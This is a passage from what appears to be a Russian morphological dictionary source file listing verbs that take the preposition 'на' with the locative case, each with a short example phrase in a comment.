rus_verbs:набрать{}, // статья с заголовком, набранным на компьютере
rus_verbs:сделать{}, // книга с иллюстрацией, сделанной на компьютере
rus_verbs:развалиться{}, // Антонио развалился на диване
rus_verbs:улечься{}, // Антонио улегся на полу
rus_verbs:зарубить{}, // Заруби себе на носу.
rus_verbs:ценить{}, // Его ценят на заводе.
rus_verbs:вернуться{}, // Отец вернулся на закате.
rus_verbs:шить{}, // Вы умеете шить на машинке?
rus_verbs:бить{}, // Скот бьют на бойне.
rus_verbs:выехать{}, // Мы выехали на рассвете.
rus_verbs:валяться{}, // На полу валяется бумага.
rus_verbs:разложить{}, // она разложила полотенце на песке
rus_verbs:заниматься{}, // я занимаюсь на тренажере
rus_verbs:позаниматься{},
rus_verbs:порхать{}, // порхать на лугу
rus_verbs:пресекать{}, // пресекать на корню
rus_verbs:изъясняться{}, // изъясняться на непонятном языке
rus_verbs:развесить{}, // развесить на столбах
rus_verbs:обрасти{}, // обрасти на южной части
rus_verbs:откладываться{}, // откладываться на стенках артерий
rus_verbs:уносить{}, // уносить на носилках
rus_verbs:проплыть{}, // проплыть на плоту
rus_verbs:подъезжать{}, // подъезжать на повозках
rus_verbs:пульсировать{}, // пульсировать на лбу
rus_verbs:рассесться{}, // птицы расселись на ветках
rus_verbs:застопориться{}, // застопориться на первом пункте
rus_verbs:изловить{}, // изловить на окраинах
rus_verbs:покататься{}, // покататься на машинках
rus_verbs:залопотать{}, // залопотать на неизвестном языке
rus_verbs:растягивать{}, // растягивать на станке
rus_verbs:поделывать{}, // поделывать на пляже
rus_verbs:подстеречь{}, // подстеречь на площадке
rus_verbs:проектировать{}, // проектировать на компьютере
rus_verbs:притулиться{}, // притулиться на кушетке
rus_verbs:дозволять{}, // дозволять кому-то хулиганить на кладбище
rus_verbs:пострелять{}, // пострелять на испытательном полигоне
rus_verbs:засиживаться{}, // засиживаться на работе
rus_verbs:нежиться{}, // нежиться на солнышке
rus_verbs:притомиться{}, // притомиться на рабочем месте
rus_verbs:поселяться{}, // поселяться на чердаке
rus_verbs:потягиваться{}, // потягиваться на земле
rus_verbs:отлеживаться{}, // отлеживаться на койке
rus_verbs:протаранить{}, // протаранить на танке
rus_verbs:гарцевать{}, // гарцевать на коне
rus_verbs:облупиться{}, // облупиться на носу
rus_verbs:оговорить{}, // оговорить на собеседовании
rus_verbs:зарегистрироваться{}, // зарегистрироваться на сайте
rus_verbs:отпечатать{}, // отпечатать на картоне
rus_verbs:сэкономить{}, // сэкономить на мелочах
rus_verbs:покатать{}, // покатать на пони
rus_verbs:колесить{}, // колесить на старой машине
rus_verbs:понастроить{}, // понастроить на участках
rus_verbs:поджарить{}, // поджарить на костре
rus_verbs:узнаваться{}, // узнаваться на фотографии
rus_verbs:отощать{}, // отощать на казенных харчах
rus_verbs:редеть{}, // редеть на макушке
rus_verbs:оглашать{}, // оглашать на общем собрании
rus_verbs:лопотать{}, // лопотать на иврите
rus_verbs:пригреть{}, // пригреть на груди
rus_verbs:консультироваться{}, // консультироваться на форуме
rus_verbs:приноситься{}, // приноситься на одежде
rus_verbs:сушиться{}, // сушиться на балконе
rus_verbs:наследить{}, // наследить на полу
rus_verbs:нагреться{}, // нагреться на солнце
rus_verbs:рыбачить{}, // рыбачить на озере
rus_verbs:прокатить{}, // прокатить на выборах
rus_verbs:запинаться{}, // запинаться на ровном месте
rus_verbs:отрубиться{}, // отрубиться на мягкой подушке
rus_verbs:заморозить{}, // заморозить на улице
rus_verbs:промерзнуть{}, // промерзнуть на открытом воздухе
rus_verbs:просохнуть{}, // просохнуть на батарее
rus_verbs:развозить{}, // развозить на велосипеде
rus_verbs:прикорнуть{}, // прикорнуть на диванчике
rus_verbs:отпечататься{}, // отпечататься на коже
rus_verbs:выявлять{}, // выявлять на таможне
rus_verbs:расставлять{}, // расставлять на башнях
rus_verbs:прокрутить{}, // прокрутить на пальце
rus_verbs:умываться{}, // умываться на улице
rus_verbs:пересказывать{}, // пересказывать на страницах романа
rus_verbs:удалять{}, // удалять на пуховике
rus_verbs:хозяйничать{}, // хозяйничать на складе
rus_verbs:оперировать{}, // оперировать на поле боя
rus_verbs:поносить{}, // поносить на голове
rus_verbs:замурлыкать{}, // замурлыкать на коленях
rus_verbs:передвигать{}, // передвигать на тележке
rus_verbs:прочертить{}, // прочертить на земле
rus_verbs:колдовать{}, // колдовать на кухне
rus_verbs:отвозить{}, // отвозить на казенном транспорте
rus_verbs:трахать{}, // трахать на природе
rus_verbs:мастерить{}, // мастерить на кухне
rus_verbs:ремонтировать{}, // ремонтировать на коленке
rus_verbs:развезти{}, // развезти на велосипеде
rus_verbs:робеть{}, // робеть на сцене
инфинитив:реализовать{ вид:несоверш }, инфинитив:реализовать{ вид:соверш }, // реализовать на сайте
глагол:реализовать{ вид:несоверш }, глагол:реализовать{ вид:соверш },
деепричастие:реализовав{}, деепричастие:реализуя{},
rus_verbs:покаяться{}, // покаяться на смертном одре
rus_verbs:специализироваться{}, // специализироваться на тестировании
rus_verbs:попрыгать{}, // попрыгать на батуте
rus_verbs:переписывать{}, // переписывать на столе
rus_verbs:расписывать{}, // расписывать на доске
rus_verbs:зажимать{}, // зажимать на запястье
rus_verbs:практиковаться{}, // практиковаться на мышах
rus_verbs:уединиться{}, // уединиться на чердаке
rus_verbs:подохнуть{}, // подохнуть на чужбине
rus_verbs:приподниматься{}, // приподниматься на руках
rus_verbs:уродиться{}, // уродиться на полях
rus_verbs:продолжиться{}, // продолжиться на улице
rus_verbs:посапывать{}, // посапывать на диване
rus_verbs:ободрать{}, // ободрать на спине
rus_verbs:скрючиться{}, // скрючиться на песке
rus_verbs:тормознуть{}, // тормознуть на перекрестке
rus_verbs:лютовать{}, // лютовать на хуторе
rus_verbs:зарегистрировать{}, // зарегистрировать на сайте
rus_verbs:переждать{}, // переждать на вершине холма
rus_verbs:доминировать{}, // доминировать на территории
rus_verbs:публиковать{}, // публиковать на сайте
rus_verbs:морщить{}, // морщить на лбу
rus_verbs:сконцентрироваться{}, // сконцентрироваться на главном
rus_verbs:подрабатывать{}, // подрабатывать на рынке
rus_verbs:репетировать{}, // репетировать на заднем дворе
rus_verbs:подвернуть{}, // подвернуть на брусчатке
rus_verbs:зашелестеть{}, // зашелестеть на ветру
rus_verbs:расчесывать{}, // расчесывать на спине
rus_verbs:одевать{}, // одевать на рынке
rus_verbs:испечь{}, // испечь на углях
rus_verbs:сбрить{}, // сбрить на затылке
rus_verbs:согреться{}, // согреться на печке
rus_verbs:замаячить{}, // замаячить на горизонте
rus_verbs:пересчитывать{}, // пересчитывать на пальцах
rus_verbs:галдеть{}, // галдеть на крыльце
rus_verbs:переплыть{}, // переплыть на плоту
rus_verbs:передохнуть{}, // передохнуть на скамейке
rus_verbs:прижиться{}, // прижиться на ферме
rus_verbs:переправляться{}, // переправляться на плотах
rus_verbs:накупить{}, // накупить на блошином рынке
rus_verbs:проторчать{}, // проторчать на виду
rus_verbs:мокнуть{}, // мокнуть на улице
rus_verbs:застукать{}, // застукать на камбузе
rus_verbs:завязывать{}, // завязывать на ботинках
rus_verbs:повисать{}, // повисать на ветке
rus_verbs:подвизаться{}, // подвизаться на государственной службе
rus_verbs:кормиться{}, // кормиться на болоте
rus_verbs:покурить{}, // покурить на улице
rus_verbs:зимовать{}, // зимовать на болотах
rus_verbs:застегивать{}, // застегивать на гимнастерке
rus_verbs:поигрывать{}, // поигрывать на гитаре
rus_verbs:погореть{}, // погореть на махинациях с землей
rus_verbs:кувыркаться{}, // кувыркаться на батуте
rus_verbs:похрапывать{}, // похрапывать на диване
rus_verbs:пригревать{}, // пригревать на груди
rus_verbs:завязнуть{}, // завязнуть на болоте
rus_verbs:шастать{}, // шастать на втором этаже
rus_verbs:заночевать{}, // заночевать на сеновале
rus_verbs:отсиживаться{}, // отсиживаться на чердаке
rus_verbs:мчать{}, // мчать на байке
rus_verbs:сгнить{}, // сгнить на урановых рудниках
rus_verbs:тренировать{}, // тренировать на манекенах
rus_verbs:повеселиться{}, // повеселиться на празднике
rus_verbs:измучиться{}, // измучиться на болоте
rus_verbs:увянуть{}, // увянуть на подоконнике
rus_verbs:раскрутить{}, // раскрутить на оси
rus_verbs:выцвести{}, // выцвести на солнечном свету
rus_verbs:изготовлять{}, // изготовлять на коленке
rus_verbs:гнездиться{}, // гнездиться на вершине дерева
rus_verbs:разогнаться{}, // разогнаться на мотоцикле
rus_verbs:излагаться{}, // излагаться на страницах доклада
rus_verbs:сконцентрировать{}, // сконцентрировать на левом фланге
rus_verbs:расчесать{}, // расчесать на макушке
rus_verbs:плавиться{}, // плавиться на солнце
rus_verbs:редактировать{}, // редактировать на ноутбуке
rus_verbs:подскакивать{}, // подскакивать на месте
rus_verbs:покупаться{}, // покупаться на рынке
rus_verbs:промышлять{}, // промышлять на мелководье
rus_verbs:приобретаться{}, // приобретаться на распродажах
rus_verbs:наигрывать{}, // наигрывать на банджо
rus_verbs:маневрировать{}, // маневрировать на флангах
rus_verbs:запечатлеться{}, // запечатлеться на записях камер
rus_verbs:укрывать{}, // укрывать на чердаке
rus_verbs:подорваться{}, // подорваться на фугасе
rus_verbs:закрепиться{}, // закрепиться на занятых позициях
rus_verbs:громыхать{}, // громыхать на кухне
инфинитив:подвигаться{ вид:соверш }, глагол:подвигаться{ вид:соверш }, // подвигаться на полу
деепричастие:подвигавшись{},
rus_verbs:добываться{}, // добываться на территории Анголы
rus_verbs:приплясывать{}, // приплясывать на сцене
rus_verbs:доживать{}, // доживать на больничной койке
rus_verbs:отпраздновать{}, // отпраздновать на работе
rus_verbs:сгубить{}, // сгубить на корню
rus_verbs:схоронить{}, // схоронить на кладбище
rus_verbs:тускнеть{}, // тускнеть на солнце
rus_verbs:скопить{}, // скопить на счету
rus_verbs:помыть{}, // помыть на своем этаже
rus_verbs:пороть{}, // пороть на конюшне
rus_verbs:наличествовать{}, // наличествовать на складе
rus_verbs:нащупывать{}, // нащупывать на полке
rus_verbs:змеиться{}, // змеиться на дне
rus_verbs:пожелтеть{}, // пожелтеть на солнце
rus_verbs:заостриться{}, // заостриться на конце
rus_verbs:свезти{}, // свезти на поле
rus_verbs:прочувствовать{}, // прочувствовать на своей шкуре
rus_verbs:подкрутить{}, // подкрутить на приборной панели
rus_verbs:рубиться{}, // рубиться на мечах
rus_verbs:сиживать{}, // сиживать на крыльце
rus_verbs:тараторить{}, // тараторить на иностранном языке
rus_verbs:теплеть{}, // теплеть на сердце
rus_verbs:покачаться{}, // покачаться на ветке
rus_verbs:сосредоточиваться{}, // сосредоточиваться на главной задаче
rus_verbs:развязывать{}, // развязывать на ботинках
rus_verbs:подвозить{}, // подвозить на мотороллере
rus_verbs:вышивать{}, // вышивать на рубашке
rus_verbs:скупать{}, // скупать на открытом рынке
rus_verbs:оформлять{}, // оформлять на встрече
rus_verbs:распускаться{}, // распускаться на клумбах
rus_verbs:прогореть{}, // прогореть на спекуляциях
rus_verbs:приползти{}, // приползти на коленях
rus_verbs:загореть{}, // загореть на пляже
rus_verbs:остудить{}, // остудить на балконе
rus_verbs:нарвать{}, // нарвать на поляне
rus_verbs:издохнуть{}, // издохнуть на болоте
rus_verbs:разгружать{}, // разгружать на дороге
rus_verbs:произрастать{}, // произрастать на болотах
rus_verbs:разуться{}, // разуться на коврике
rus_verbs:сооружать{}, // сооружать на площади
rus_verbs:зачитывать{}, // зачитывать на митинге
rus_verbs:уместиться{}, // уместиться на ладони
rus_verbs:закупить{}, // закупить на рынке
rus_verbs:горланить{}, // горланить на улице
rus_verbs:экономить{}, // экономить на спичках
rus_verbs:исправлять{}, // исправлять на доске
rus_verbs:расслабляться{}, // расслабляться на лежаке
rus_verbs:скапливаться{}, // скапливаться на крыше
rus_verbs:сплетничать{}, // сплетничать на скамеечке
rus_verbs:отъезжать{}, // отъезжать на лимузине
rus_verbs:отчитывать{}, // отчитывать на собрании
rus_verbs:сфокусировать{}, // сфокусировать на удаленной точке
rus_verbs:потчевать{}, // потчевать на лаврах
rus_verbs:окопаться{}, // окопаться на окраине
rus_verbs:загорать{}, // загорать на пляже
rus_verbs:обгореть{}, // обгореть на солнце
rus_verbs:распознавать{}, // распознавать на фотографии
rus_verbs:заплетаться{}, // заплетаться на макушке
rus_verbs:перегреться{}, // перегреться на жаре
rus_verbs:подметать{}, // подметать на крыльце
rus_verbs:нарисоваться{}, // нарисоваться на горизонте
rus_verbs:проскакивать{}, // проскакивать на экране
rus_verbs:попивать{}, // попивать на балконе чай
rus_verbs:отплывать{}, // отплывать на лодке
rus_verbs:чирикать{}, // чирикать на ветках
rus_verbs:скупить{}, // скупить на оптовых базах
rus_verbs:наколоть{}, // наколоть на коже картинку
rus_verbs:созревать{}, // созревать на ветке
rus_verbs:проколоться{}, // проколоться на мелочи
rus_verbs:крутнуться{}, // крутнуться на заднем колесе
rus_verbs:переночевать{}, // переночевать на постоялом дворе
rus_verbs:концентрироваться{}, // концентрироваться на фильтре
rus_verbs:одичать{}, // одичать на хуторе
rus_verbs:спасаться{}, // спасаются на лодке
rus_verbs:доказываться{}, // доказываться на страницах книги
rus_verbs:познаваться{}, // познаваться на ринге
rus_verbs:замыкаться{}, // замыкаться на металлическом предмете
rus_verbs:заприметить{}, // заприметить на пригорке
rus_verbs:продержать{}, // продержать на морозе
rus_verbs:форсировать{}, // форсировать на плотах
rus_verbs:сохнуть{}, // сохнуть на солнце
rus_verbs:выявить{}, // выявить на поверхности
rus_verbs:заседать{}, // заседать на кафедре
rus_verbs:расплачиваться{}, // расплачиваться на выходе
rus_verbs:светлеть{}, // светлеть на горизонте
rus_verbs:залепетать{}, // залепетать на незнакомом языке
rus_verbs:подсчитывать{}, // подсчитывать на пальцах
rus_verbs:зарыть{}, // зарыть на пустыре
rus_verbs:сформироваться{}, // сформироваться на месте
rus_verbs:развертываться{}, // развертываться на площадке
rus_verbs:набивать{}, // набивать на манекенах
rus_verbs:замерзать{}, // замерзать на ветру
rus_verbs:схватывать{}, // схватывать на лету
rus_verbs:перевестись{}, // перевестись на Руси
rus_verbs:смешивать{}, // смешивать на блюдце
rus_verbs:прождать{}, // прождать на входе
rus_verbs:мерзнуть{}, // мерзнуть на ветру
rus_verbs:растирать{}, // растирать на коже
rus_verbs:переспать{}, // переспал на сеновале
rus_verbs:рассекать{}, // рассекать на скутере
rus_verbs:опровергнуть{}, // опровергнуть на высшем уровне
rus_verbs:дрыхнуть{}, // дрыхнуть на диване
rus_verbs:распять{}, // распять на кресте
rus_verbs:запечься{}, // запечься на костре
rus_verbs:застилать{}, // застилать на балконе
rus_verbs:сыскаться{}, // сыскаться на огороде
rus_verbs:разориться{}, // разориться на продаже спичек
rus_verbs:переделать{}, // переделать на станке
rus_verbs:разъяснять{}, // разъяснять на страницах газеты
rus_verbs:поседеть{}, // поседеть на висках
rus_verbs:протащить{}, // протащить на спине
rus_verbs:осуществиться{}, // осуществиться на деле
rus_verbs:селиться{}, // селиться на окраине
rus_verbs:оплачивать{}, // оплачивать на первой кассе
rus_verbs:переворачивать{}, // переворачивать на сковородке
rus_verbs:упражняться{}, // упражняться на батуте
rus_verbs:испробовать{}, // испробовать на себе
rus_verbs:разгладиться{}, // разгладиться на спине
rus_verbs:рисоваться{}, // рисоваться на стекле
rus_verbs:продрогнуть{}, // продрогнуть на морозе
rus_verbs:пометить{}, // пометить на доске
rus_verbs:приютить{}, // приютить на чердаке
rus_verbs:избирать{}, // избирать на первых свободных выборах
rus_verbs:затеваться{}, // затеваться на матче
rus_verbs:уплывать{}, // уплывать на катере
rus_verbs:замерцать{}, // замерцать на рекламном щите
rus_verbs:фиксироваться{}, // фиксироваться на достигнутом уровне
rus_verbs:запираться{}, // запираться на чердаке
rus_verbs:загубить{}, // загубить на корню
rus_verbs:развеяться{}, // развеяться на природе
rus_verbs:съезжаться{}, // съезжаться на лимузинах
rus_verbs:потанцевать{}, // потанцевать на могиле
rus_verbs:дохнуть{}, // дохнуть на солнце
rus_verbs:припарковаться{}, // припарковаться на газоне
rus_verbs:отхватить{}, // отхватить на распродаже
rus_verbs:остывать{}, // остывать на улице
rus_verbs:переваривать{}, // переваривать на высокой ветке
rus_verbs:подвесить{}, // подвесить на веревке
rus_verbs:хвастать{}, // хвастать на работе
rus_verbs:отрабатывать{}, // отрабатывать на уборке урожая
rus_verbs:разлечься{}, // разлечься на полу
rus_verbs:очертить{}, // очертить на полу
rus_verbs:председательствовать{}, // председательствовать на собрании
rus_verbs:сконфузиться{}, // сконфузиться на сцене
rus_verbs:выявляться{}, // выявляться на ринге
rus_verbs:крутануться{}, // крутануться на заднем колесе
rus_verbs:караулить{}, // караулить на входе
rus_verbs:перечислять{}, // перечислять на пальцах
rus_verbs:обрабатывать{}, // обрабатывать на станке
rus_verbs:настигать{}, // настигать на берегу
rus_verbs:разгуливать{}, // разгуливать на берегу
rus_verbs:насиловать{}, // насиловать на пляже
rus_verbs:поредеть{}, // поредеть на макушке
rus_verbs:учитывать{}, // учитывать на балансе
rus_verbs:зарождаться{}, // зарождаться на большой глубине
rus_verbs:распространять{}, // распространять на сайтах
rus_verbs:пировать{}, // пировать на вершине холма
rus_verbs:начертать{}, // начертать на стене
rus_verbs:расцветать{}, // расцветать на подоконнике
rus_verbs:умнеть{}, // умнеть на глазах
rus_verbs:царствовать{}, // царствовать на окраине
rus_verbs:закрутиться{}, // закрутиться на работе
rus_verbs:отработать{}, // отработать на шахте
rus_verbs:полечь{}, // полечь на поле брани
rus_verbs:щебетать{}, // щебетать на ветке
rus_verbs:подчеркиваться{}, // подчеркиваться на сайте
rus_verbs:посеять{}, // посеять на другом поле
rus_verbs:замечаться{}, // замечаться на пастбище
rus_verbs:просчитать{}, // просчитать на пальцах
rus_verbs:голосовать{}, // голосовать на трассе
rus_verbs:маяться{}, // маяться на пляже
rus_verbs:сколотить{}, // сколотить на службе
rus_verbs:обретаться{}, // обретаться на чужбине
rus_verbs:обливаться{}, // обливаться на улице
rus_verbs:катать{}, // катать на лошадке
rus_verbs:припрятать{}, // припрятать на теле
rus_verbs:запаниковать{}, // запаниковать на экзамене
инфинитив:слетать{ вид:соверш }, глагол:слетать{ вид:соверш }, // слетать на частном самолете
деепричастие:слетав{},
rus_verbs:срубить{}, // срубить денег на спекуляциях
rus_verbs:зажигаться{}, // зажигаться на улице
rus_verbs:жарить{}, // жарить на углях
rus_verbs:накапливаться{}, // накапливаться на счету
rus_verbs:распуститься{}, // распуститься на грядке
rus_verbs:рассаживаться{}, // рассаживаться на местах
rus_verbs:странствовать{}, // странствовать на лошади
rus_verbs:осматриваться{}, // осматриваться на месте
rus_verbs:разворачивать{}, // разворачивать на завоеванной территории
rus_verbs:согревать{}, // согревать на вершине горы
rus_verbs:заскучать{}, // заскучать на вахте
rus_verbs:перекусить{}, // перекусить на бегу
rus_verbs:приплыть{}, // приплыть на тримаране
rus_verbs:зажигать{}, // зажигать на танцах
rus_verbs:закопать{}, // закопать на поляне
rus_verbs:стирать{}, // стирать на берегу
rus_verbs:подстерегать{}, // подстерегать на подходе
rus_verbs:погулять{}, // погулять на свадьбе
rus_verbs:огласить{}, // огласить на митинге
rus_verbs:разбогатеть{}, // разбогатеть на прииске
rus_verbs:грохотать{}, // грохотать на чердаке
rus_verbs:расположить{}, // расположить на границе
rus_verbs:реализоваться{}, // реализоваться на новой работе
rus_verbs:застывать{}, // застывать на морозе
rus_verbs:запечатлеть{}, // запечатлеть на пленке
rus_verbs:тренироваться{}, // тренироваться на манекене
rus_verbs:поспорить{}, // поспорить на совещании
rus_verbs:затягивать{}, // затягивать на поясе
rus_verbs:зиждиться{}, // зиждиться на твердой основе
rus_verbs:построиться{}, // построиться на песке
rus_verbs:надрываться{}, // надрываться на работе
rus_verbs:закипать{}, // закипать на плите
rus_verbs:затонуть{}, // затонуть на мелководье
rus_verbs:побыть{}, // побыть на фазенде
rus_verbs:сгорать{}, // сгорать на солнце
инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать на улице
деепричастие:пописав{ aux stress="поп^исав" },
rus_verbs:подраться{}, // подраться на сцене
rus_verbs:заправить{}, // заправить на последней заправке
rus_verbs:обозначаться{}, // обозначаться на карте
rus_verbs:просиживать{}, // просиживать на берегу
rus_verbs:начертить{}, // начертить на листке
rus_verbs:тормозить{}, // тормозить на льду
rus_verbs:затевать{}, // затевать на космической базе
rus_verbs:задерживать{}, // задерживать на таможне
rus_verbs:прилетать{}, // прилетать на частном самолете
rus_verbs:полулежать{}, // полулежать на травке
rus_verbs:ерзать{}, // ерзать на табуретке
rus_verbs:покопаться{}, // покопаться на складе
rus_verbs:подвезти{}, // подвезти на машине
rus_verbs:полежать{}, // полежать на водном матрасе
rus_verbs:стыть{}, // стыть на улице
rus_verbs:стынуть{}, // стынуть на улице
rus_verbs:скреститься{}, // скреститься на груди
rus_verbs:припарковать{}, // припарковать на стоянке
rus_verbs:здороваться{}, // здороваться на кафедре
rus_verbs:нацарапать{}, // нацарапать на парте
rus_verbs:откопать{}, // откопать на поляне
rus_verbs:смастерить{}, // смастерить на коленках
rus_verbs:довезти{}, // довезти на машине
rus_verbs:избивать{}, // избивать на крыше
rus_verbs:сварить{}, // сварить на костре
rus_verbs:истребить{}, // истребить на корню
rus_verbs:раскопать{}, // раскопать на болоте
rus_verbs:попить{}, // попить на кухне
rus_verbs:заправлять{}, // заправлять на базе
rus_verbs:кушать{}, // кушать на кухне
rus_verbs:замолкать{}, // замолкать на половине фразы
rus_verbs:измеряться{}, // измеряться на весах
rus_verbs:сбываться{}, // сбываться на самом деле
rus_verbs:изображаться{}, // изображается на сцене
rus_verbs:фиксировать{}, // фиксировать на данной высоте
rus_verbs:ослаблять{}, // ослаблять на шее
rus_verbs:зреть{}, // зреть на грядке
rus_verbs:зеленеть{}, // зеленеть на грядке
rus_verbs:критиковать{}, // критиковать на страницах газеты
rus_verbs:облететь{}, // облететь на самолете
rus_verbs:заразиться{}, // заразиться на работе
rus_verbs:рассеять{}, // рассеять на территории
rus_verbs:печься{}, // печься на костре
rus_verbs:поспать{}, // поспать на земле
rus_verbs:сплетаться{}, // сплетаться на макушке
rus_verbs:удерживаться{}, // удерживаться на расстоянии
rus_verbs:помешаться{}, // помешаться на чистоте
rus_verbs:ликвидировать{}, // ликвидировать на полигоне
rus_verbs:проваляться{}, // проваляться на диване
rus_verbs:лечиться{}, // лечиться на дому
rus_verbs:обработать{}, // обработать на станке
rus_verbs:защелкнуть{}, // защелкнуть на руках
rus_verbs:разносить{}, // разносить на одежде
rus_verbs:чесать{}, // чесать на груди
rus_verbs:наладить{}, // наладить на конвейере выпуск
rus_verbs:отряхнуться{}, // отряхнуться на улице
rus_verbs:разыгрываться{}, // разыгрываться на скачках
rus_verbs:обеспечиваться{}, // обеспечиваться на выгодных условиях
rus_verbs:греться{}, // греться на вокзале
rus_verbs:засидеться{}, // засидеться на одном месте
rus_verbs:материализоваться{}, // материализоваться на границе
rus_verbs:рассеиваться{}, // рассеиваться на высоте вершин
rus_verbs:перевозить{}, // перевозить на платформе
rus_verbs:поиграть{}, // поиграть на скрипке
rus_verbs:потоптаться{}, // потоптаться на одном месте
rus_verbs:переправиться{}, // переправиться на плоту
rus_verbs:забрезжить{}, // забрезжить на горизонте
rus_verbs:завывать{}, // завывать на опушке
rus_verbs:заваривать{}, // заваривать на кухоньке
rus_verbs:перемещаться{}, // перемещаться на спасательном плоту
инфинитив:писаться{ aux stress="пис^аться" }, глагол:писаться{ aux stress="пис^аться" }, // писаться на бланке
rus_verbs:праздновать{}, // праздновать на улицах
rus_verbs:обучить{}, // обучить на корте
rus_verbs:орудовать{}, // орудовать на складе
rus_verbs:подрасти{}, // подрасти на глядке
rus_verbs:шелестеть{}, // шелестеть на ветру
rus_verbs:раздеваться{}, // раздеваться на публике
rus_verbs:пообедать{}, // пообедать на газоне
rus_verbs:жрать{}, // жрать на помойке
rus_verbs:исполняться{}, // исполняться на флейте
rus_verbs:похолодать{}, // похолодать на улице
rus_verbs:гнить{}, // гнить на каторге
rus_verbs:прослушать{}, // прослушать на концерте
rus_verbs:совещаться{}, // совещаться на заседании
rus_verbs:покачивать{}, // покачивать на волнах
rus_verbs:отсидеть{}, // отсидеть на гаупвахте
rus_verbs:формировать{}, // формировать на секретной базе
rus_verbs:захрапеть{}, // захрапеть на кровати
rus_verbs:объехать{}, // объехать на попутке
rus_verbs:поселить{}, // поселить на верхних этажах
rus_verbs:заворочаться{}, // заворочаться на сене
rus_verbs:напрятать{}, // напрятать на теле
rus_verbs:очухаться{}, // очухаться на земле
rus_verbs:полистать{}, // полистать на досуге
rus_verbs:завертеть{}, // завертеть на шесте
rus_verbs:печатать{}, // печатать на ноуте
rus_verbs:отыскаться{}, // отыскаться на складе
rus_verbs:зафиксировать{}, // зафиксировать на пленке
rus_verbs:расстилаться{}, // расстилаться на столе
rus_verbs:заместить{}, // заместить на посту
rus_verbs:угасать{}, // угасать на неуправляемом корабле
rus_verbs:сразить{}, // сразить на ринге
rus_verbs:расплываться{}, // расплываться на жаре
rus_verbs:сосчитать{}, // сосчитать на пальцах
rus_verbs:сгуститься{}, // сгуститься на небольшой высоте
rus_verbs:цитировать{}, // цитировать на плите
rus_verbs:ориентироваться{}, // ориентироваться на местности
rus_verbs:расширить{}, // расширить на другом конце
rus_verbs:обтереть{}, // обтереть на стоянке
rus_verbs:подстрелить{}, // подстрелить на охоте
rus_verbs:растереть{}, // растереть на твердой поверхности
rus_verbs:подавлять{}, // подавлять на первом этапе
rus_verbs:смешиваться{}, // смешиваться на поверхности
// инфинитив:вычитать{ aux stress="в^ычитать" }, глагол:вычитать{ aux stress="в^ычитать" }, // вычитать на сайте
// деепричастие:вычитав{},
rus_verbs:сократиться{}, // сократиться на втором этапе
rus_verbs:занервничать{}, // занервничать на экзамене
rus_verbs:соприкоснуться{}, // соприкоснуться на трассе
rus_verbs:обозначить{}, // обозначить на плане
rus_verbs:обучаться{}, // обучаться на производстве
rus_verbs:снизиться{}, // снизиться на большой высоте
rus_verbs:простудиться{}, // простудиться на ветру
rus_verbs:поддерживаться{}, // поддерживается на встрече
rus_verbs:уплыть{}, // уплыть на лодочке
rus_verbs:резвиться{}, // резвиться на песочке
rus_verbs:поерзать{}, // поерзать на скамеечке
rus_verbs:похвастаться{}, // похвастаться на встрече
rus_verbs:знакомиться{}, // знакомиться на уроке
rus_verbs:проплывать{}, // проплывать на катере
rus_verbs:засесть{}, // засесть на чердаке
rus_verbs:подцепить{}, // подцепить на дискотеке
rus_verbs:обыскать{}, // обыскать на входе
rus_verbs:оправдаться{}, // оправдаться на суде
rus_verbs:раскрываться{}, // раскрываться на сцене
rus_verbs:одеваться{}, // одеваться на вещевом рынке
rus_verbs:засветиться{}, // засветиться на фотографиях
rus_verbs:употребляться{}, // употребляться на птицефабриках
rus_verbs:грабить{}, // грабить на пустыре
rus_verbs:гонять{}, // гонять на повышенных оборотах
rus_verbs:развеваться{}, // развеваться на древке
rus_verbs:основываться{}, // основываться на безусловных фактах
rus_verbs:допрашивать{}, // допрашивать на базе
rus_verbs:проработать{}, // проработать на стройке
rus_verbs:сосредоточить{}, // сосредоточить на месте
rus_verbs:сочинять{}, // сочинять на ходу
rus_verbs:ползать{}, // ползать на камне
rus_verbs:раскинуться{}, // раскинуться на пустыре
rus_verbs:уставать{}, // уставать на работе
rus_verbs:укрепить{}, // укрепить на конце
rus_verbs:образовывать{}, // образовывать на открытом воздухе взрывоопасную смесь
rus_verbs:одобрять{}, // одобрять на словах
rus_verbs:приговорить{}, // приговорить на заседании тройки
rus_verbs:чернеть{}, // чернеть на свету
rus_verbs:гнуть{}, // гнуть на станке
rus_verbs:размещаться{}, // размещаться на бирже
rus_verbs:соорудить{}, // соорудить на даче
rus_verbs:пастись{}, // пастись на лугу
rus_verbs:формироваться{}, // формироваться на дне
rus_verbs:таить{}, // таить на дне
rus_verbs:приостановиться{}, // приостановиться на середине
rus_verbs:топтаться{}, // топтаться на месте
rus_verbs:громить{}, // громить на подступах
rus_verbs:вычислить{}, // вычислить на бумажке
rus_verbs:заказывать{}, // заказывать на сайте
rus_verbs:осуществить{}, // осуществить на практике
rus_verbs:обосноваться{}, // обосноваться на верхушке
rus_verbs:пытать{}, // пытать на электрическом стуле
rus_verbs:совершиться{}, // совершиться на заседании
rus_verbs:свернуться{}, // свернуться на медленном огне
rus_verbs:пролетать{}, // пролетать на дельтаплане
rus_verbs:сбыться{}, // сбыться на самом деле
rus_verbs:разговориться{}, // разговориться на уроке
rus_verbs:разворачиваться{}, // разворачиваться на перекрестке
rus_verbs:преподнести{}, // преподнести на блюдечке
rus_verbs:напечатать{}, // напечатать на лазернике
rus_verbs:прорвать{}, // прорвать на периферии
rus_verbs:раскачиваться{}, // раскачиваться на доске
rus_verbs:задерживаться{}, // задерживаться на старте
rus_verbs:угощать{}, // угощать на вечеринке
rus_verbs:шарить{}, // шарить на столе
rus_verbs:увеличивать{}, // увеличивать на первом этапе
rus_verbs:рехнуться{}, // рехнуться на старости лет
rus_verbs:расцвести{}, // расцвести на грядке
rus_verbs:закипеть{}, // закипеть на плите
rus_verbs:подлететь{}, // подлететь на параплане
rus_verbs:рыться{}, // рыться на свалке
rus_verbs:добираться{}, // добираться на попутках
rus_verbs:продержаться{}, // продержаться на вершине
rus_verbs:разыскивать{}, // разыскивать на выставках
rus_verbs:освобождать{}, // освобождать на заседании
rus_verbs:передвигаться{}, // передвигаться на самокате
rus_verbs:проявиться{}, // проявиться на свету
rus_verbs:заскользить{}, // заскользить на льду
rus_verbs:пересказать{}, // пересказать на сцене студенческого театра
rus_verbs:протестовать{}, // протестовать на улице
rus_verbs:указываться{}, // указываться на табличках
rus_verbs:прискакать{}, // прискакать на лошадке
rus_verbs:копошиться{}, // копошиться на свежем воздухе
